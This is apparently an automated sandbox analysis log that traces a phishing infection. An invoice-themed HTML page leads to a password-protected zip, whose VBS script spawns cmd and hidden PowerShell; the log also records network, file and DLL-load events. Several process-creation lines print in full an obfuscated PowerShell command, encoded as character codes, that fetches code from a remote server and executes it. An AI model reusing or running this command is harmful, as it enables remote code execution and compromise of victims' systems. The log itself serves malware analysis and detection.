Source: wscript.exe, 0000000B.00000002.2832180699.00000000038BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.0000000003416000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2832180699.00000000038B0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.00000000033C1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.0000000003375000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2833317335.00000000059B3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.000000000340A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/stats/0.php?4935988&
Source: wscript.exe, 0000000B.00000002.2831181995.00000000033AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histatss$%

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725

Source: faktura_FV2025020660849.zip.crdownload.0.dr	Zip Entry: 2025020665304.vbs
Source: chromecache_68.1.dr	Zip Entry: 2025020665304.vbs

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($uNteWVUN = $('{7}{5}{6}' -f $('VJJLWexieN'.ToCharArray())); $((364,312,404,464,184,332,404,456,472,420,396,404,320,444,420,440,464,308,388,440,388,412,404,456,372,232,232,332,404,456,472,404,456,268,404,456,464,420,408,420,396,388,464,404,344,388,432,420,400,388,464,420,444,440,268,388,432,432,392,388,396,428,128,244,128,492,144,464,456,468,404,500,236,128,144,468,304,456,312,400,468,296,296,448,348,128,244,128,364,332,484,460,464,404,436,184,312,404,464,184,288,464,464,448,348,404,392,328,404,452,468,404,460,464,372,232,232,268,456,404,388,464,404,160,156,416,464,464,448,460,232,188,188,408,420,432,404,416,444,460,464,200,192,192,224,224,212,184,420,440,408,444,232,196,204,216,200,196,188,476,404,392,212,184,448,416,448,156,164,236,128,144,468,304,456,312,400,468,296,296,448,348,184,336,420,436,404,444,468,464,128,244,128,204,192,192,192,192,192,236,128,144,160,364,332,484,460,464,404,436,184,292,444,184,332,464,456,404,388,436,328,404,388,400,404,456,372,160,144,468,304,456,312,400,468,296,296,448,348,184,284,404,464,328,404,460,448,444,440,460,404,160,164,184,284,404,464,328,404,460,448,444,440,460,404,332,464,456,404,388,436,160,164,164,164,184,328,404,388,400,336,444,276,440,400,160,164,128,496,128,292,276,352)^^^\|%{[char]($_/4)})-join'') ^^^\| ^^^&($uNteWVUN) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($uNteWVUN = $('{7}{5}{6}' -f $('VJJLWexieN'.ToCharArray())); $((364,312,404,464,184,332,404,456,472,420,396,404,320,444,420,440,464,308,388,440,388,412,404,456,372,232,232,332,404,456,472,404,456,268,404,456,464,420,408,420,396,388,464,404,344,388,432,420,400,388,464,420,444,440,268,388,432,432,392,388,396,428,128,244,128,492,144,464,456,468,404,500,236,128,144,468,304,456,312,400,468,296,296,448,348,128,244,128,364,332,484,460,464,404,436,184,312,404,464,184,288,464,464,448,348,404,392,328,404,452,468,404,460,464,372,232,232,268,456,404,388,464,404,160,156,416,464,464,448,460,232,188,188,408,420,432,404,416,444,460,464,200,192,192,224,224,212,184,420,440,408,444,232,196,204,216,200,196,188,476,404,392,212,184,448,416,448,156,164,236,128,144,468,304,456,312,400,468,296,296,448,348,184,336,420,436,404,444,468,464,128,244,128,204,192,192,192,192,192,236,128,144,160,364,332,484,460,464,404,436,184,292,444,184,332,464,456,404,388,436,328,404,388,400,404,456,372,160,144,468,304,456,312,400,468,296,296,448,348,184,284,404,464,328,404,460,448,444,440,460,404,160,164,184,284,404,464,328,404,460,448,444,440,460,404,332,464,456,404,388,436,160,164,164,164,184,328,404,388,400,336,444,276,440,400,160,164,128,496,128,292,276,352)^^^\|%{[char]($_/4)})-join'') ^^^\| ^^^&($uNteWVUN) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir6068_386177336			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6728:120:WilError_03

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,3895141347888249468,9556767451129423605,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2104 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\faktura_FV2025020660849.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\faktura_FV2025020660849.zip"
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg" "C:\Users\user\Downloads\faktura_FV2025020660849.zip"
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($uNteWVUN = $('{7}{5}{6}' -f $('VJJLWexieN'.ToCharArray())); $((364,312,404,464,184,332,404,456,472,420,396,404,320,444,420,440,464,308,388,440,388,412,404,456,372,232,232,332,404,456,472,404,456,268,404,456,464,420,408,420,396,388,464,404,344,388,432,420,400,388,464,420,444,440,268,388,432,432,392,388,396,428,128,244,128,492,144,464,456,468,404,500,236,128,144,468,304,456,312,400,468,296,296,448,348,128,244,128,364,332,484,460,464,404,436,184,312,404,464,184,288,464,464,448,348,404,392,328,404,452,468,404,460,464,372,232,232,268,456,404,388,464,404,160,156,416,464,464,448,460,232,188,188,408,420,432,404,416,444,460,464,200,192,192,224,224,212,184,420,440,408,444,232,196,204,216,200,196,188,476,404,392,212,184,448,416,448,156,164,236,128,144,468,304,456,312,400,468,296,296,448,348,184,336,420,436,404,444,468,464,128,244,128,204,192,192,192,192,192,236,128,144,160,364,332,484,460,464,404,436,184,292,444,184,332,464,456,404,388,436,328,404,388,400,404,456,372,160,144,468,304,456,312,400,468,296,296,448,348,184,284,404,464,328,404,460,448,444,440,460,404,160,164,184,284,404,464,328,404,460,448,444,440,460,404,332,464,456,404,388,436,160,164,164,164,184,328,404,388,400,336,444,276,440,400,160,164,128,496,128,292,276,352)^^^\|%{[char]($_/4)})-join'') ^^^\| ^^^&($uNteWVUN) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($uNteWVUN = $('{7}{5}{6}' -f $('VJJLWexieN'.ToCharArray())); $((364,312,404,464,184,332,404,456,472,420,396,404,320,444,420,440,464,308,388,440,388,412,404,456,372,232,232,332,404,456,472,404,456,268,404,456,464,420,408,420,396,388,464,404,344,388,432,420,400,388,464,420,444,440,268,388,432,432,392,388,396,428,128,244,128,492,144,464,456,468,404,500,236,128,144,468,304,456,312,400,468,296,296,448,348,128,244,128,364,332,484,460,464,404,436,184,312,404,464,184,288,464,464,448,348,404,392,328,404,452,468,404,460,464,372,232,232,268,456,404,388,464,404,160,156,416,464,464,448,460,232,188,188,408,420,432,404,416,444,460,464,200,192,192,224,224,212,184,420,440,408,444,232,196,204,216,200,196,188,476,404,392,212,184,448,416,448,156,164,236,128,144,468,304,456,312,400,468,296,296,448,348,184,336,420,436,404,444,468,464,128,244,128,204,192,192,192,192,192,236,128,144,160,364,332,484,460,464,404,436,184,292,444,184,332,464,456,404,388,436,328,404,388,400,404,456,372,160,144,468,304,456,312,400,468,296,296,448,348,184,284,404,464,328,404,460,448,444,440,460,404,160,164,184,284,404,464,328,404,460,448,444,440,460,404,332,464,456,404,388,436,160,164,164,164,184,328,404,388,400,336,444,276,440,400,160,164,128,496,128,292,276,352)^\|%{[char]($_/4)})-join'') ^\| ^&($uNteWVUN) "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,3895141347888249468,9556767451129423605,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2104 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\faktura_FV2025020660849.zip"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg" "C:\Users\user\Downloads\faktura_FV2025020660849.zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($uNteWVUN = $('{7}{5}{6}' -f $('VJJLWexieN'.ToCharArray())); $((364,312,404,464,184,332,404,456,472,420,396,404,320,444,420,440,464,308,388,440,388,412,404,456,372,232,232,332,404,456,472,404,456,268,404,456,464,420,408,420,396,388,464,404,344,388,432,420,400,388,464,420,444,440,268,388,432,432,392,388,396,428,128,244,128,492,144,464,456,468,404,500,236,128,144,468,304,456,312,400,468,296,296,448,348,128,244,128,364,332,484,460,464,404,436,184,312,404,464,184,288,464,464,448,348,404,392,328,404,452,468,404,460,464,372,232,232,268,456,404,388,464,404,160,156,416,464,464,448,460,232,188,188,408,420,432,404,416,444,460,464,200,192,192,224,224,212,184,420,440,408,444,232,196,204,216,200,196,188,476,404,392,212,184,448,416,448,156,164,236,128,144,468,304,456,312,400,468,296,296,448,348,184,336,420,436,404,444,468,464,128,244,128,204,192,192,192,192,192,236,128,144,160,364,332,484,460,464,404,436,184,292,444,184,332,464,456,404,388,436,328,404,388,400,404,456,372,160,144,468,304,456,312,400,468,296,296,448,348,184,284,404,464,328,404,460,448,444,440,460,404,160,164,184,284,404,464,328,404,460,448,444,440,460,404,332,464,456,404,388,436,160,164,164,164,184,328,404,388,400,336,444,276,440,400,160,164,128,496,128,292,276,352)^^^\|%{[char]($_/4)})-join'') ^^^\| ^^^&($uNteWVUN) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($uNteWVUN = $('{7}{5}{6}' -f $('VJJLWexieN'.ToCharArray())); $((364,312,404,464,184,332,404,456,472,420,396,404,320,444,420,440,464,308,388,440,388,412,404,456,372,232,232,332,404,456,472,404,456,268,404,456,464,420,408,420,396,388,464,404,344,388,432,420,400,388,464,420,444,440,268,388,432,432,392,388,396,428,128,244,128,492,144,464,456,468,404,500,236,128,144,468,304,456,312,400,468,296,296,448,348,128,244,128,364,332,484,460,464,404,436,184,312,404,464,184,288,464,464,448,348,404,392,328,404,452,468,404,460,464,372,232,232,268,456,404,388,464,404,160,156,416,464,464,448,460,232,188,188,408,420,432,404,416,444,460,464,200,192,192,224,224,212,184,420,440,408,444,232,196,204,216,200,196,188,476,404,392,212,184,448,416,448,156,164,236,128,144,468,304,456,312,400,468,296,296,448,348,184,336,420,436,404,444,468,464,128,244,128,204,192,192,192,192,192,236,128,144,160,364,332,484,460,464,404,436,184,292,444,184,332,464,456,404,388,436,328,404,388,400,404,456,372,160,144,468,304,456,312,400,468,296,296,448,348,184,284,404,464,328,404,460,448,444,440,460,404,160,164,184,284,404,464,328,404,460,448,444,440,460,404,332,464,456,404,388,436,160,164,164,164,184,328,404,388,400,336,444,276,440,400,160,164,128,496,128,292,276,352)^\|%{[char]($_/4)})-join'') ^\| ^&($uNteWVUN) "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	Section loaded: 7z.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
